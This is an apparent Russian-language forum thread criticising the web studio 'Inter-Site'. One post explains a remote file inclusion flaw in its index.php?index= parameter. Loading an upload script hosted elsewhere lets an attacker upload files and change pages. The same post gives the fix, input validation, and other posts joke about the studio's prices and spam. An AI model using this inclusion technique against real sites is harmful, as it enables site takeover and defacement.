"Inter-Site" студия веб программирования и дизайна

Ее. Я вообще не понимаю как люди которые не знают основ, могут предлагать создание сайтов за такие мани - http://inter-site.net/index.php?index=usl

Тут попросили продемонстрировать. Все очень просто!

Берешь пишешь небольшой скриптик который позволяет загружать файлы на сервер.

И подключаешь его к сайту.

Подключать можно так: http://www.inter-site.net/index.php?index=http://твой сайт/имя скрипта

В данном случае расширение скрипта указывать не нужно так как на сайте предусмотрена автоматическое добавление расширения.

Вот и все, можешь заливать что угодно, менять любые страницы сайта и т.д.

Лечится очень просто, название подключаемого модуля передается не напрямую а через переменную, потом эта переменная проверяется в скрипте и если ее содержимое соответствует определенным условиям то подключается нужный модуль.

Кросс-сайт-скриптинг? Занятно...

Нда... Главное цену заломить... Все старания окупиться первым же лохом...

Какой-то спамилкой спамнули нечайно тут, им пришёл на мыло автоответ бота об ответе на это сообщение, зашли и написали ещё пару постов. Не ожидали видимо такой активности на свой флуд:-)

Сайт молча ушел на реконструкцию, хоть бы спасибо сказали …:)